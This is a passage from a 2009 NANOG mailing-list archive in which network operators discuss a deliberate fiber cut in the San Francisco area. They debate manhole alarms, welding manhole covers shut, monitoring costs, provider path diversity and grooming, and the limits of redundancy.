one of your Tunnels that served hundreds of thousands of people and businesses and critical infrastructure? Could you get someone on site to stop it? Maybe. Is it worth it? Maybe. Given my inexperience with large networks, maybe fiber cuts and outages due to vandals, backhoes and other physical disruptions are just what we hear about in the news, and that it isn't worth the expense to monitor for those outages. If so, my idea seems kind of silly. > SLA's account for force de majure (including sabotage), so I really doubt > there will be any credits. In fact, there will likely be an uptick on > spending as those who really need nines build multi-provider multi-path > diversity. Here come the microwave towers! *laugh* Thank goodness for standardized GIS data. :-) --------------------------------------------------------------------------- Peter Beckman Internet Guy beckman at angryox.com http://www.angryox.com/ --------------------------------------------------------------------------- From charles at thewybles.com Mon Apr 13 17:05:39 2009 From: charles at thewybles.com (Charles Wyble) Date: Mon, 13 Apr 2009 15:05:39 -0700 Subject: [OT] Re: Fiber cut in SF area In-Reply-To: <15841.1239659513@turing-police.cc.vt.edu> References: <200904111250.55796.lowen@pari.edu> <200904111843.n3BIhNfR035662@aurora.sol.net> <75cb24520904111901j4ba65000s80c003d6b5c4a007@mail.gmail.com> <20090413183914.GA1116@koltblut.setec.org> <15841.1239659513@turing-police.cc.vt.edu> Message-ID: <49E3B733.6080701@thewybles.com> I sense a thread moderation occurring here shortly. Valdis.Kletnieks at vt.edu wrote: > On Mon, 13 Apr 2009 14:39:23 EDT, Izaac said: > >> Do you realize that you're putting trust in the sane action of parties >> who conclude their reasoning process with destruction and murder? > > And how is that different from a US general plotting destruction and the > killing of enemy troops during an offensive? And yet we usually trust our > generals and call them "sane". From eslerj at gmail.com Mon Apr 13 17:10:52 2009 From: eslerj at gmail.com (Joel Esler) Date: Mon, 13 Apr 2009 18:10:52 -0400 Subject: Cart and Horse In-Reply-To: <082AA00803EC4463BB39F09EACA7D77E@Officeibm1> References: <200904120403.n3C435PH058833@aurora.sol.net> <49E17DCE.9030605@rockynet.com><49E3499C.6090800@sprunk.org> <49E3550F.50304@gmail.com> <082AA00803EC4463BB39F09EACA7D77E@Officeibm1> Message-ID: On Apr 13, 2009, at 11:59 AM, Robert Glover wrote: > This bears investigating. I live 3 blocks away. Looks like I'm > going on a stroll after work tonight. > > Bobby Glover > Director of Information Services > South Valley Interet (AS4307) > ----- Original Message ----- From: "Roy" > To: "nanog" > Sent: Monday, April 13, 2009 8:06 AM > Subject: Cart and Horse > > >> A friend mentioned at dinner yesterday that he spotted several AT&T >> trucks next to manholes in the area affected by the fiber cut. They >> were busy welding the manhole covers to their rims. >> > > Yeah, I would have loved to be on the wall during that conversation: "So, how can we lock people out of the manholes?" "We could put locks on them?" "No, someone could just cut the locks" " We could weld them shut" "Good idea, do it" "Really sir?" "Yes, make it happen" "Uh, okay..." From sronan at fattoc.com Mon Apr 13 17:24:50 2009 From: sronan at fattoc.com (Shane Ronan) Date: Mon, 13 Apr 2009 18:24:50 -0400 Subject: Cart and Horse In-Reply-To: References: <200904120403.n3C435PH058833@aurora.sol.net> <49E17DCE.9030605@rockynet.com><49E3499C.6090800@sprunk.org> <49E3550F.50304@gmail.com> <082AA00803EC4463BB39F09EACA7D77E@Officeibm1> Message-ID: This is not such an odd solution. Locks are really easy to break with a screw driver and a hammer which almost everyone has and is easy to carry, but most people aren't going to have or carry a torch or a cutting wheel. After 9/11 a large portion of the man holes in NYC were welded shut to prevent them from being used to hide explosives. On Apr 13, 2009, at 6:10 PM, Joel Esler wrote: > Yeah, I would have loved to be on the wall during that conversation: > > "So, how can we lock people out of the manholes?" > "We could put locks on them?" > "No, someone could just cut the locks" > " We could weld them shut" > "Good idea, do it" > "Really sir?" > "Yes, make it happen" > > "Uh, okay..." From sronan at fattoc.com Mon Apr 13 17:30:04 2009 From: sronan at fattoc.com (Shane Ronan) Date: Mon, 13 Apr 2009 18:30:04 -0400 Subject: Fiber cut in SF area In-Reply-To: References: <49E17DCE.9030605@rockynet.com> from "Mike Lewinski" at Apr 11, 2009 11:36:14 PM <200904121212.n3CCCCEs012209@aurora.sol.net> <6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET> Message-ID: This all implies that the majority of fiber is in "tunnels" that can be monitored. In my experience, almost none of it is in tunnels. In NYC, it's usually buried in conduits directly under the street, with no access, except through the man holes which are located about every 500 feet. In LA, a large amount of the fiber is direct bored under the streets, with access from hand holes and splice boxes located in the grassy areas between the street and the side walks. Along train tracks, the fiber is buried in conduits which are direct buried in the direct along side the train tracks, with hand holes every 1000 feet or so. In any of these scenarios, especially in the third, where the fiber might run through a rural area with no road access and no cellphone coverage. Simply walk through the woods to the train tracks, put open a hand hole and snip, snip, snip, fiber cut. Shane Ronan On Apr 13, 2009, at 5:54 PM, Peter Beckman wrote: > On Mon, 13 Apr 2009, chris.ranch at nokia.com wrote: > >> I get the feeling you haven't deployed or operated large networks. > > Nope. > >> You never did say what the multiplier was. How many miles or >> detection >> nodes there were. Think millions. The number that popped into my >> head >> when thinking of active detection measures for the physical network >> is >> $billions. > > It depends on where you want to deploy it and how many miles you > want to > protect. I was thinking along the lines of $1.5 million for 1000 > miles of > tunnel, equipment only. It assumes existing maintenance crews would > replace sensors that break or go offline, and that those expenses > already > exist. > >> All for a couple of minutes advanced notice of an outage? Would it >> reduce the risk? No. Would it reduce the MTBF or MTTR? No. Of all >> outages, how often does this scenario (or one that would trigger your >> alarm) occur? I'm sure it's down on the list. > > What if you had 5 minutes of advanced notice that something was > happening > in or near one of your Tunnels that served hundreds of thousands of > people > and businesses and critical infrastructure? Could you get someone > on site > to stop it? Maybe. Is it worth it? Maybe. > > Given my inexperience with large networks, maybe fiber cuts and > outages > due to vandals, backhoes and other physical disruptions are just > what we > hear about in the news, and that it isn't worth the expense to > monitor for > those outages. If so, my idea seems kind of silly. > >> SLA's account for force de majure (including sabotage), so I really >> doubt >> there will be any credits. In fact, there will likely be an uptick >> on >> spending as those who really need nines build multi-provider multi- >> path >> diversity. Here come the microwave towers! > > *laugh* Thank goodness for standardized GIS data. :-) > > --------------------------------------------------------------------------- > Peter Beckman > Internet Guy > beckman at angryox.com http://www.angryox.com/ > --------------------------------------------------------------------------- > From thegameiam at yahoo.com Mon Apr 13 18:35:12 2009 From: thegameiam at yahoo.com (David Barak) Date: Mon, 13 Apr 2009 16:35:12 -0700 (PDT) Subject: Fiber cut in SF area Message-ID: <311292.26202.qm@web31801.mail.mud.yahoo.com> --- On Mon, 4/13/09, chris.ranch at nokia.com wrote: >> From: Peter Beckman >> Subject: RE: Fiber cut in SF area > >? Total cost...is about $3000 per mile for > equipment > I get the feeling you haven't deployed or operated large > networks.? You never did say what the multiplier > was.? How many miles or detection nodes there > were.? Think millions.? The number that popped > into my head when thinking of active detection measures for > the physical network is $billions. AT&T: 888,000 route miles(1). Verizon: 485,000 route miles(2). If we assume that 1/4 of AT&T and Verizon's route-miles are in the US(3), this would mean a capital expense of $666M and $364M respectively, not including any costs incurred for maintenance, monitoring, repair, false positive etc. In addition, as has been noted, this system wouldn't PREVENT a failure, it would just give you some warning that a failure may be coming, probably by a matter of minutes. In the words of Randy Bush, "I encourage my competitors to do this." David Barak Need Geek Rock? Try The Franchise: http://www.listentothefranchise.com 1) http://www.att.com/gen/press-room?pid=4800&cdvn=news&newsarticleid=26554 2) http://mediumbusiness.verizon.com/about/network.aspx 3) I believe this to be an underestimate. From nanog at daork.net Mon Apr 13 18:55:31 2009 From: nanog at daork.net (Nathan Ward) Date: Tue, 14 Apr 2009 11:55:31 +1200 Subject: Fiber cut in SF area In-Reply-To: <311292.26202.qm@web31801.mail.mud.yahoo.com> References: <311292.26202.qm@web31801.mail.mud.yahoo.com> Message-ID: <9FF97860-7FB6-49CF-97DF-D9FBDF6013DF@daork.net> On 14/04/2009, at 11:35 AM, David Barak wrote: > In addition, as has been noted, this system wouldn't PREVENT a > failure, it would just give you some warning that a failure may be > coming, probably by a matter of minutes. Some statistics about the effectiveness of car alarms and unmonitored house alarms would probably be useful here. Whack a $5 12v horn on it, and my bet is that it'd become a deterrent pretty quickly. -- Nathan Ward From stefan at csudsu.com Mon Apr 13 19:20:47 2009 From: stefan at csudsu.com (Stefan Molnar) Date: Tue, 14 Apr 2009 00:20:47 +0000 Subject: Fiber cut in SF area Message-ID: <1066273848-1239668421-cardhu_decombobulator_blackberry.rim.net-533387778-@bxe1037.bisx.prod.on.blackberry> "But that would not be NEBS Complient" -PHB I have thought of air horns in my colo cage when a tech of mine messes up. ------Original Message------ From: Nathan Ward To: nanog list Subject: Re: Fiber cut in SF area Sent: Apr 13, 2009 4:55 PM On 14/04/2009, at 11:35 AM, David Barak wrote: > In addition, as has been noted, this system wouldn't PREVENT a > failure, it would just give you some warning that a failure may be > coming, probably by a matter of minutes. Some statistics about the effectiveness of car alarms and unmonitored house alarms would probably be useful here. Whack a $5 12v horn on it, and my bet is that it'd become a deterrent pretty quickly. -- Nathan Ward From jbates at brightok.net Mon Apr 13 19:31:04 2009 From: jbates at brightok.net (Jack Bates) Date: Mon, 13 Apr 2009 19:31:04 -0500 Subject: Fiber cut in SF area In-Reply-To: <9FF97860-7FB6-49CF-97DF-D9FBDF6013DF@daork.net> References: <311292.26202.qm@web31801.mail.mud.yahoo.com> <9FF97860-7FB6-49CF-97DF-D9FBDF6013DF@daork.net> Message-ID: <49E3D948.4090902@brightok.net> Nathan Ward wrote: > Whack a $5 12v horn on it, and my bet is that it'd become a deterrent > pretty quickly. Presumes the perp isn't familiar with the hole, and it's security measures. In this case, I doubt that either is the case. Pop in, snip the wires on the horn, and do what you do. Most of these measures also presume no shared access. I don't know the layout in the area, but I would expect that some manholes/routes are shared usage and maintenance. Not that my rural self remembers what a manhole looks like under the lid. :) I'm betting inside job, which means redundant routes, security measures, etc all tend to go out the window unless some serious money goes into it, and even then, is there a security mechanism that can't be broken? Jack From roll at Stupi.SE Tue Apr 14 02:31:40 2009 From: roll at Stupi.SE (Peter Lothberg) Date: Tue, 14 Apr 2009 2:31:40 CEST Subject: Fiber cut in SF area In-Reply-To: Your message of Tue, 14 Apr 2009 00:20:47 +0000 Message-ID: There are three solutions to the problem; A: Put a armed soldier every 150ft on the fiber path. B: Make the infrstructure so redundant that cutting things just makes you tired, but nothing hapens. C: Do nothing. As the society becomes more and more dependent on the infrastructure for electronic communication, my suggestion to policy makers has been that it should be easier to imprison all the government officials of a contry than knocking out it's infrastrcture. -P From beckman at angryox.com Mon Apr 13 19:42:01 2009 From: beckman at angryox.com (Peter Beckman) Date: Mon, 13 Apr 2009 20:42:01 -0400 Subject: Fiber cut in SF area In-Reply-To: <49E343BA.33E4.0097.0@globalstar.com> References: <20090413130059.8D697814@resin09.mta.everyone.net> <49E343BA.33E4.0097.0@globalstar.com> Message-ID: Though I think networked environmental monitoring has its merits, it's clear the technology is unproven in monitoring fiber tunnels, and my inexperience in running and managing such tunnels makes this thread bordering on off-topic. I'm happy to continue conversations via email, but this will be my last on-list reply regarding the topic I started. On Mon, 13 Apr 2009, Crist Clark wrote: > But would alarms prevent any, or what proportion, of these incidents? It's hard to say without researching. Sometimes such research shows amazing results that shock people in the industry. Hospitals were shocked to see surgical mistakes reduced by 80+% after implementing a checklist that both doctors and nurses had to go through prior to starting the procedure, and having the patient also go over and approve what was to be done. The stories you hear of people who are getting amputated writing "this leg" and "X X X NOT THIS LEG" before surgery is a result of these studies and checklists. RFID-tagged surgical components and gauze pads are another tech tool being used after such research. You'd think a checklist wouldn't really help, but in reality it made industry changing and life-saving differences. While active alarms and monitoring of fiber tunnels would do the same, but without research, nobody can say for sure how effective or ineffective such a system would be. > From what we know of this specific one, would an alarm have stopped the > perpetrator(s)? It would have bought the NOC five, ten minutes tops > before they got the alarm on the circuit. And in practice would a manhole > alarm translate to a call to Homeland Security to have the SEALs descend > the site pronto, a police unit to roll by when it has the time, or is it > going to be an AT&T truck rolling by between calls? I'm guessing number > two or three, probably three. So what would it get them in this case. If > it doesn't deter these guys, who does it deter? It's not there as a deterrent. It's there to allow a NOC to know that something is going on in a tunnel where potentially critical infrastructure resides. Maybe it doesn't prevent the malicious cut, but combined with video surveilence, it could identify the cutters. Audio recording devices could record voices. I assume large networks have large 24/7 crews. Get a truck to roll (once you sufficiently trust the system) or get a contractor who resides nearby to check out the area. When the alarm goes off, you go check it. If you welded the manholes shut, and there are no scheduled maintenance windows for that area, you can be pretty damn sure something untoward is going on, or it'll be a company truck roll that didn't follow procedure. > And what are the costs of false alarms? What will the ratio of "real" > alarms to false ones be? Maybe lower-stakes vandals take to popping the > edge of manhole covers as a little prank. Weld 'em shut. Use one of those special screws that you can only unscrew with the right equipment (worked wonders for the tire industry with the "lock nut"). It won't stop anyone determined, but 13 year olds with M80s will move on. If you get a certain location that continues to get false alarms due to vandals, put in a highpowered webcam to monitor the location. Use ZoneMinder to monitor and record motion. Make sure the camera does nighttime well. Then when you have an alarm, check the video. > Or that one that triggers whenever a truck tire hits it right. I would envision that though every device would report the same data with the same sensitivity, false alarms could be mitigated through filters for a given location. Tunnels near train tracks would be filtered differently than tunnels in the middle of a field under high power lines. > Or the whole line of them that go off whenever the temperature drops > below freezing. The device would go through a lot of environmental testing, so that its upper and lower operating limits could be known. Hardened where necessary. > Or, what I am absolutely sure will happen, miscommunication between > repair crews and the NOC about which ones are being moved or field crews > opening them without warning the NOC (or even intra-NOC communication). > Will they be a boy who cried wolf? Maybe. Maybe the whole idea is way too far fetched. Maybe my impression of the state of affairs when it comes to fiber tunnels is really not that big of a deal, and that outages due to physical access (humans, backhoes, floods) don't make up a significant portion of outages, and this is not a problem that fiber companies want to solve. Clearly there are a lot of problems that this sort of monitoring could face. Given sufficient time to mature, I think cheap, repeatable monitoring devices networked together can be a valuable asset, rather than yet another annoying alarm NOC folk and maintenance crews grow to hate and simply not be effective. --------------------------------------------------------------------------- Peter Beckman Internet Guy beckman at angryox.com http://www.angryox.com/ --------------------------------------------------------------------------- From telmnstr at 757.org Mon Apr 13 19:40:50 2009 From: telmnstr at 757.org (telmnstr at 757.org) Date: Mon, 13 Apr 2009 20:40:50 -0400 (EDT) Subject: Fiber cut in SF area In-Reply-To: <49E3D948.4090902@brightok.net> References: <311292.26202.qm@web31801.mail.mud.yahoo.com> <9FF97860-7FB6-49CF-97DF-D9FBDF6013DF@daork.net> <49E3D948.4090902@brightok.net> Message-ID: > Presumes the perp isn't familiar with the hole, and it's security measures. > In this case, I doubt that either is the case. Pop in, snip the wires on the > horn, and do what you do. Better they cut the fiber instead of Oklahoma Citying the central office. From gherbert at retro.com Mon Apr 13 19:32:49 2009 From: gherbert at retro.com (George William Herbert) Date: Mon, 13 Apr 2009 17:32:49 -0700 Subject: Fiber cut in SF area In-Reply-To: <63ac96a50904130931s2e05dd90r8c0fffb2a4849973@mail.gmail.com> References: <49E17DCE.9030605@rockynet.com> <200904121212.n3CCCCEs012209@aurora.sol.net> <6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET> <63ac96a50904130931s2e05dd90r8c0fffb2a4849973@mail.gmail.com> Message-ID: <200904140032.n3E0WnP6010794@kw.retro.com> Matthew Petach writes: >"protected rings" are a technology of the past. Don't count on your >vendor to provide "redundancy" for you. Get two unprotected runs >for half the cost each, from two different providers, and verify the >path separation and diversity yourself with GIS data from the two >providers; handle the failover yourself. That way, you *know* what >your risks and potential impact scenarios are. It adds a bit of >initial planning overhead, but in the long run, it generally costs a >similar amount for two unprotected runs as it does to get a >protected run, and you can plan your survival scenarios *much* >better, including surviving things like one provider going under, >work stoppages at one provider, etc. This completely ignores the grooming problem. About five years ago, we had a major WebEx outage caused by our diverse path routed fibers both being groomed into the same new cable / new path. We had the contracts. We paid the money. We got the data. We got updates to the data. The updates said we were still fine and all good. The new data lied. Downtown SJ backhoe hit damaged the cable, and took down 1 of our 2 links. As nobody was sure what was in it they failed to notify us that they were about to chop the rest of it to repair the bundle. So, about an hour after we lost the first leg, we went dark, and there was no coming back until the splices were all done. (typically, while the whole operations team was out at an offisite teambuilding effort. pagers go beep beep beep, and everyone hops back in the cars...) We ran it up the flagpole to CEO level of the fiber vendor (aggregator) and fiber physical plant owner (big 4 ISP), as we were paying $$$ for bandwidth and were a Highly Visible Client, and were told that they'd been making a best effort and couldn't guarantee any better in the future, no matter how much we paid or who we sued. They were very apologetic, but insisted that best effort means just that. The only way to be sure? Own your own fiber. Use a microwave link backup. You have to get out of the game the fiber owners are playing. They can't even keep score for themselves, much less accurately for the rest of us. If you count on them playing fair or right, they're going to break your heart and your business. -george william herbert gherbert at retro.com From sronan at fattoc.com Mon Apr 13 20:14:32 2009 From: sronan at fattoc.com (Shane Ronan) Date: Mon, 13 Apr 2009 21:14:32 -0400 Subject: Fiber cut in SF area In-Reply-To: References: <49E17DCE.9030605@rockynet.com> from "Mike Lewinski" at Apr 11, 2009 11:36:14 PM <200904121212.n3CCCCEs012209@aurora.sol.net> <6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET> Message-ID: But you are ignoring the cost of designing, procuring, installing, monitoring, maintaining such a solution for the THOUSANDS of man holes and hand holes in even a small fiber network. The reality is, the types of outages that these things would protect against (intentional damage to the physical fiber) just don't happen often enough to warrant the cost. These types of solutions don't protect against back hoes digging up the fiber, as even if they gave a few minutes of advanced notice, the average telco can't get someone to respond to a site in an hour let alone minutes. On Apr 13, 2009, at 9:05 PM, Peter Beckman wrote: > On Mon, 13 Apr 2009, Shane Ronan wrote: > >> This all implies that the majority of fiber is in "tunnels" that >> can be monitored. In my experience, almost none of it is in tunnels. >> >> In NYC, it's usually buried in conduits directly under the street, >> with no access, except through the man holes which are located >> about every 500 feet. >> >> In LA, a large amount of the fiber is direct bored under the >> streets, with access from hand holes and splice boxes located in >> the grassy areas between the street and the side walks. >> >> Along train tracks, the fiber is buried in conduits which are >> direct buried in the direct along side the train tracks, with hand >> holes every 1000 feet or so. >> >> In any of these scenarios, especially in the third, where the fiber >> might run through a rural area with no road access and no cellphone >> coverage. Simply walk through the woods to the train tracks, put >> open a hand hole and snip, snip, snip, fiber cut. > > I'm sure more malicious fiber cuts would result in heightened > security. > If you can put your hand in it, you could put a sensor in it. It > wouldn't > work everywhere, but it could work even in conduit or just simply > inside > access points. > > A device the size of your fist or smaller could do the monitoring, and > would fit in most access points I would guess. > > You can't protect it all, and obviously you can't put a camera at > every > access point (well, maybe you can). You can't stop a determined > person > from doing anything (like promote networked smart sensors for fiber > runs, > or setting a small explosion inside an access point). And maybe > environmental monitoring of these areas just won't do anything to > help. > But who knows. > > Beckman > --------------------------------------------------------------------------- > Peter Beckman > Internet Guy > beckman at angryox.com http://www.angryox.com/ > --------------------------------------------------------------------------- From mpetach at netflight.com Mon Apr 13 20:26:20 2009 From: mpetach at netflight.com (Matthew Petach) Date: Mon, 13 Apr 2009 18:26:20 -0700 Subject: Fiber cut in SF area In-Reply-To: <200904140032.n3E0WnP6010794@kw.retro.com> References: <49E17DCE.9030605@rockynet.com> <200904121212.n3CCCCEs012209@aurora.sol.net> <6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET> <63ac96a50904130931s2e05dd90r8c0fffb2a4849973@mail.gmail.com> <200904140032.n3E0WnP6010794@kw.retro.com> Message-ID: <63ac96a50904131826k70f0b565hc6493794cd462e79@mail.gmail.com> On 4/13/09, George William Herbert wrote: > Matthew Petach writes: > >"protected rings" are a technology of the past. Don't count on your > >vendor to provide "redundancy" for you. Get two unprotected runs > >for half the cost each, from two different providers, and verify the > >path separation and diversity yourself with GIS data from the two > >providers; handle the failover yourself. That way, you *know* what > >your risks and potential impact scenarios are. It adds a bit of > >initial planning overhead, but in the long run, it generally costs a > >similar amount for two unprotected runs as it does to get a > >protected run, and you can plan your survival scenarios *much* > >better, including surviving things like one provider going under, > >work stoppages at one provider, etc. > > This completely ignores the grooming problem. Not completely; it just gives you teeth for exiting your contract earlier and finding a more responsible provider to go with who won't violate the terms of the contract and re-groom you without proper notification. I'll admit I'm somewhat simplifying the scenario, in that I also insist on no single point of failure, so even an entire site going dark doesn't completely knock out service; those who have been around since the early days will remember my email to NANOG about the gas main cut in Santa Clara that knocked a good chunk of the area's connectivity out, *not* because the fiber was damaged, but because the fire marshall insisted that all active electrical devices be powered off (including all UPSes) until the gas in the area had dissipated. Ever since then, I've just acknowledged you can't keep a single site always up and running; there *will* be events that require it to be powered down, and part of my planning process accounts for that, as much as possible, via BCP planning. Now, I'll be the first to admit it's a different game if you're providing last-mile access to single-homed customers. But sitting on the content provider side of the fence, it's entirely possible to build your infrastructure such that having 3 or more OC192s cut at random places has no impact on your ability to carry traffic and continue functioning. > You have to get out of the game the fiber owners are playing. > They can't even keep score for themselves, much less accurately > for the rest of us. If you count on them playing fair or > right, they're going to break your heart and your business. You simply count on them not playing entirely fair, and penalize them when they don't; and you have enough parallel contracts with different providers at different sites that outages don't take you completely offline. From jared at puck.nether.net Mon Apr 13 20:34:13 2009 From: jared at puck.nether.net (Jared Mauch) Date: Mon, 13 Apr 2009 21:34:13 -0400 Subject: Fiber cut in SF area In-Reply-To: References: Message-ID: On Apr 13, 2009, at 8:31 PM, Peter Lothberg wrote: > > There are three solutions to the problem; > > A: Put a armed soldier every 150ft on the fiber path. > > B: Make the infrstructure so redundant that cutting things > just makes you tired, but nothing hapens. > > C: Do nothing. > > > As the society becomes more and more dependent on the infrastructure > for electronic communication, my suggestion to policy makers has been > that it should be easier to imprison all the government officials of a > contry than knocking out it's infrastrcture. I certainly think this trailer is the most insightful thought of the day. When you're looking for backup comms, is it just going to be the ham radio operators and am/fm radio stations left if there were some outage? With tv having gone digital it's not possible to tune in and pick up the audio carrier anymore. Wartime and times of civil unrest the first thing you do is take over communication to the citizens. Without your internet^Wpodcast of the news, how will you know what is going on? If redundancy is sacrificed in the name of better quarterly earnings is it the right decision? this is not only interesting from a network operators perspective but from a governance perspective as well. I've not done any ham radio stuff for ~15+ years but do keep a shortwave radio around (battery powered of course). The first thing to happen will be the network will be severed. Look at what happened in Burma. Both their internet links were turned off, and not just taking down BGP, but the circuits were unplugged. - jared From roll at Stupi.SE Mon Apr 13 20:41:25 2009 From: roll at Stupi.SE (Peter Lothberg) Date: Tue, 14 Apr 2009 03:41:25 +0200 (CEST) Subject: Fiber cut in SF area In-Reply-To: Message-ID: > > There are three solutions to the problem; > > > > A: Put a armed soldier every 150ft on the fiber path. > > > > B: Make the infrstructure so redundant that cutting things > > just makes you tired, but nothing hapens. > > > > C: Do nothing. > > > > > > As the society becomes more and more dependent on the infrastructure > > for electronic communication, my suggestion to policy makers has been > > that it should be easier to imprison all the government officials of a > > contry than knocking out it's infrastrcture. > > I certainly think this trailer is the most insightful thought of the > day. > > When you're looking for backup comms, is it just going to be the ham > radio operators and am/fm radio stations left if there were some > outage? With tv having gone digital it's not possible to tune in and > pick up the audio carrier anymore. Wartime and times of civil unrest > the first thing you do is take over communication to the citizens. > Without your internet^Wpodcast of the news, how will you know what is > going on? If redundancy is sacrificed in the name of better quarterly > earnings is it the right decision? There is a problem with this thinking, so in case of an emergency you expect to switch and change how you do things?! That will not work, as we can barely make it work under *non_emergency_conditions*. The strategy has too be that things contine to work as they used to do even in an emergency. > this is not only interesting from a network operators perspective but > from a governance perspective as well. I've not done any ham radio > stuff for ~15+ years but do keep a shortwave radio around (battery > powered of course). Ham's can do orderwire, but not replace for example a IP network, if you are lucky, you get kilobits on shoer wave with 10e-5 BER.. > The first thing to happen will be the network will be severed. Look > at what happened in Burma. Both their internet links were turned off, > and not just taking down BGP, but the circuits were unplugged. The best netweok is the one that never works right, so you excercise the redundancy all the time.. -P From gherbert at retro.com Mon Apr 13 20:30:27 2009 From: gherbert at retro.com (George William Herbert) Date: Mon, 13 Apr 2009 18:30:27 -0700 Subject: Fiber cut in SF area In-Reply-To: <63ac96a50904131826k70f0b565hc6493794cd462e79@mail.gmail.com> References: <49E17DCE.9030605@rockynet.com> <200904121212.n3CCCCEs012209@aurora.sol.net> <6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET> <63ac96a50904130931s2e05dd90r8c0fffb2a4849973@mail.gmail.com> <200904140032.n3E0WnP6010794@kw.retro.com> <63ac96a50904131826k70f0b565hc6493794cd462e79@mail.gmail.com> Message-ID: <200904140130.n3E1UShp011609@kw.retro.com> Matthew Petach wrote: >> George William Herbert wrote: >> Matthew Petach writes: >> >"protected rings" are a technology of the past. Don't count on your >> >vendor to provide "redundancy" for you. Get two unprotected runs >> >for half the cost each, from two different providers, and verify the >> >path separation and diversity yourself with GIS data from the two >> >providers; handle the failover yourself. That way, you *know* what >> >your risks and potential impact scenarios are. It adds a bit of >> >initial planning overhead, but in the long run, it generally costs a >> >similar amount for two unprotected runs as it does to get a >> >protected run, and you can plan your survival scenarios *much* >> >better, including surviving things like one provider going under, >> >work stoppages at one provider, etc. >> >> This completely ignores the grooming problem. > >Not completely; it just gives you teeth for exiting your >contract earlier and finding a more responsible provider >to go with who won't violate the terms of the contract >and re-groom you without proper notification. That's a post-facto financial recovery / liability limitation technique, not a high availability / hardening technique... >I'll admit >I'm somewhat simplifying the scenario, in that I also >insist on no single point of failure, so even an entire >site going dark doesn't completely knock out service; >those who have been around since the early days will >remember my email to NANOG about the gas main cut >in Santa Clara that knocked a good chunk of the area's >connectivity out, *not* because the fiber was damaged, >but because the fire marshall insisted that all active >electrical devices be powered off (including all UPSes) >until the gas in the area had dissipated. Ever since then, >I've just acknowledged you can't keep a single site always >up and running; there *will* be events that require it to be >powered down, and part of my planning process accounts >for that, as much as possible, via BCP planning. I was less than a mile away from that, I remember it well. My corner cube even faced in that direction. I heard the noise then the net went poof. One of those "Oh, that's not good at all" combinations. >Now, I'll >be the first to admit it's a different game if you're providing >last-mile access to single-homed customers. But sitting >on the content provider side of the fence, it's entirely possible >to build your infrastructure such that having 3 or more OC192s >cut at random places has no impact on your ability to carry >traffic and continue functioning. > >> You have to get out of the game the fiber owners are playing. >> They can't even keep score for themselves, much less accurately >> for the rest of us. If you count on them playing fair or >> right, they're going to break your heart and your business. > >You simply count on them not playing entirely fair, and penalize >them when they don't; and you have enough parallel contracts with >different providers at different sites that outages don't take you >completely offline. The problem with grooming is that in many cases, due to provider consolidation and fiber vendor consolidation and cable swap and so forth, you end up with parallel contracts with different providers at different sites that all end up going through one fiber link anyways. I had (at another site) separate vendors with fiber going northbound and southbound out of the two diverse sites. Both directions from both sites got groomed without notification. Slightly later, the northbound fiber was Then rerouted a bit up the road, into a southbound bundle (same one as our now-groomed southbound link), south to another datacenter then north again via another path. To improve route reduncancy northbound overall, for the providers' overall customer links. And the shared link south of us was what got backhoed. This was all in one geographical area. Diversity out of area will get you around single points like that, if you know the overall topology of the fiber networks around the US and chose locations carefully. But even that won't protect you against common mode vendor hardware failures, or a largescale BGP outage, or the routing chaos that comes with a very serious regional net outage (exchange points, major undersea cable cuts, etc).... There may be 4 or 5 nines, but the 1 at the end has your name on it. -george william herbert gherbert at retro.com From bmanning at vacation.karoshi.com Mon Apr 13 20:52:05 2009 From: bmanning at vacation.karoshi.com (bmanning at vacation.karoshi.com) Date: Tue, 14 Apr 2009 01:52:05 +0000 Subject: Fiber cut in SF area In-Reply-To: References: Message-ID: <20090414015205.GA23926@vacation.karoshi.com.> On Tue, Apr 14, 2009 at 03:41:25AM +0200, Peter Lothberg wrote: > > > There are three solutions to the problem; > > > > > > A: Put a armed soldier every 150ft on the fiber path. > > > > > > B: Make the infrstructure so redundant that cutting things > > > just makes you tired, but nothing hapens. > > > > > > C: Do nothing. > > > > > > > > > As the society becomes more and more dependent on the infrastructure > > > for electronic communication, my suggestion to policy makers has been > > > that it should be easier to imprison all the government officials of a > > > contry than knocking out it's infrastrcture. > > -P Yo, Peter. You speak of "infrastructure" as if it was a monolithic thing. Why would you think that some localized NoCal fiber cuts would be taking out the whole countrys infrastructure? --bill From mpetach at netflight.com Mon Apr 13 21:01:36 2009 From: mpetach at netflight.com (Matthew Petach) Date: Mon, 13 Apr 2009 19:01:36 -0700 Subject: Fiber cut in SF area In-Reply-To: <200904140130.n3E1UShp011609@kw.retro.com> References: <49E17DCE.9030605@rockynet.com> <200904121212.n3CCCCEs012209@aurora.sol.net> <6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET> <63ac96a50904130931s2e05dd90r8c0fffb2a4849973@mail.gmail.com> <200904140032.n3E0WnP6010794@kw.retro.com> <63ac96a50904131826k70f0b565hc6493794cd462e79@mail.gmail.com> <200904140130.n3E1UShp011609@kw.retro.com> Message-ID: <63ac96a50904131901h1dab5c76o788fa440b9c3641@mail.gmail.com> On 4/13/09, George William Herbert wrote: > Matthew Petach wrote: > >> George William Herbert wrote: > >> Matthew Petach writes: [much material snipped in the interests of saving precious electron resources...] > This was all in one geographical area. Diversity out of area will get > you around single points like that, if you know the overall topology > of the fiber networks around the US and chose locations carefully. > > But even that won't protect you against common mode vendor hardware > failures, or a largescale BGP outage, or the routing chaos that comes > with a very serious regional net outage (exchange points, major > undersea cable cuts, etc).... > > There may be 4 or 5 nines, but the 1 at the end has your name on it. Ultimately, I think a .sig line I saw years back summed it up very succinctly: "Earth is a single point of failure." Below that, you're right, we're all just quibbling about which digits to put to the right of the decimal point. If the entire west coast of the US drops into the ocean, yes, having my data backed up on different continents will help; but I'll be swimming with the sharks at that point, and won't really be able to care much, so the extent of my disaster planning tends to peter out around the point where entire states disappear, and most definitely doesn't even wander into the realm of entire continents getting cut off, or the planet getting incinerated in a massive solar flare. Fundamentally, though, I think it's actually good we have outages periodically; they help keep us employed. When networks run too smoothly, management tends to look upon us as unnecessary overhead that can be trimmed back during the next round of layoffs. The more they realize we're the only bulwark against the impending forces of chaos you mentioned above, the less likely they are to trim us off the payroll. Matt Note--tongue was firmly planted in cheek; no slight was intended against those who may have lost jobs recently; post was intended for humourous consumption only; any resemblence to 